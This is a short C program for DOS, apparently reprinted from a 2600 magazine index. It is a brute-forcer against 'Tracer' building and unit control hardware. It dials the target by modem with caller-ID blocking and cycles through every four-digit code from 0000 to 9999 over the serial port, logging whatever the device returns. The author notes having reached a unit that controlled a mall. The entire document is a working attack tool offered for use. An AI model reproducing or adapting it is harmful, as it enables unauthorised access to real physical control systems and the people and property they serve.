Brute-Forcer for Tracer

by J-lite

tracer.c:

/* a brute forcer for tracer 
 * by J-lite 
 *
 * Tracer Version 2.0 
 * a brute forcer for Tracer the unit control hardware.. found at 
 * best buy, k-mart, wal-mart, others..?? I found one that controled 
 * a mall... :) 
 * please note, mod the source to work with your 
 * comm port or modem.. u may need to use x00.exe a fossil driver for dos 
 * this program will only compile under DOS 6.xx sorry..
 */

// works best with bc++ or tc++ <bcc -Pc -nc:\data\exe brute.c> 

#include <dos.h>
#include <string.h>
#include <stdio.h>
#include <conio.h>
#include <bios.h>

#define NO_DATA 24760
#define DATA 0x100

// modable code right here.. 
#define START_NUM 0
#define COM_PORT 3
#define settings (_COM_9600 | _COM_CHR8 | _COM_STOP1 | _COM_NOPARITY)
#define ESC 27

#define len_of_num (10000 - 1)
#define tens 10
#define huns 100

void rand(void)
{
  FILE *OUT = fopen("rand.dat", "w");
  for (unsigned long num = START_NUM; num <= len_of_num; num++) {
    if (num < tens)
      fprintf(OUT, "000%ld\n", num);
    if (num < huns && num >= tens)
      fprintf(OUT, "00%ld\n", num);
    if (num >= huns && num <= 999)
      fprintf(OUT, "0%ld\n", num);
    if (num > 999)
      fprintf(OUT, "%ld\n", num);
  }
  fclose(OUT);
}

void flush_comport(char port)
{
  asm mov ah, 4;
  _DL = port;
  asm mov dh, 1;
  asm int 14h;
}

void send_string(unsigned char *data)
{
  for (int offset = 0; offset <= (strlen(data) - 1); offset++)
    _bios_serialcom(_COM_SEND, COM_PORT, data[offset]);
}

void main(void)
{
  clrscr();
  flush_comport(COM_PORT);
  _bios_serialcom(_COM_INIT, COM_PORT, settings);

// the vars. 
  int stats = 0, off = 0;
  FILE *IN, *OUT;
  unsigned char buffer[6] = { '\x0', '\x0', '\x0', '\x0', '\x0', '\x0' }, data = 0;
  
// genarate random #'s to a file.. 0000-9999
  rand();

// file names for I/O... 
  IN = fopen("rand.dat", "r");
  OUT = fopen("brute.log", "a");

// please note to wait about 4 secs after it connects ok.. then start..
// start input your target here.. 
  send_string("ATDT *67, *70, xxx-xxxx\x0D");
  printf("Press any key to start Bruteing ...\n");
  getch();

  flush_comport(COM_PORT);
  clrscr();

  delay(1000);

  send_string("4S");

  delay(2000);

  for (unsigned int co = 1659, inkey = 0; co <= 10000; co++) {
    if (kbhit())
      inkey = getch();

// get the next number... 
    off = 0;
    while (off <= 4)
      buffer[off++] = fgetc(IN);
    buffer[4] = '\x0D';
    send_string(buffer);
    fprintf(OUT, "\n# sent: %s\n", buffer);

    delay(2000);

    stats = 0;
	//
// if data is there it prints it... 
    for (; stats != NO_DATA;) {
      stats = _bios_serialcom(_COM_STATUS, COM_PORT, 0);
      if (stats & DATA)
        data = _bios_serialcom(_COM_RECEIVE, COM_PORT, 0), printf("%c", data);
      fputc(data, OUT);
    }
    if (inkey == ESC)
      break;
    delay(4000);
  }

  send_string("+++ATH0\x0D");
//end 

  fclose(IN);
  fclose(OUT);
}

Code: tracer.c

Return to $2600 Index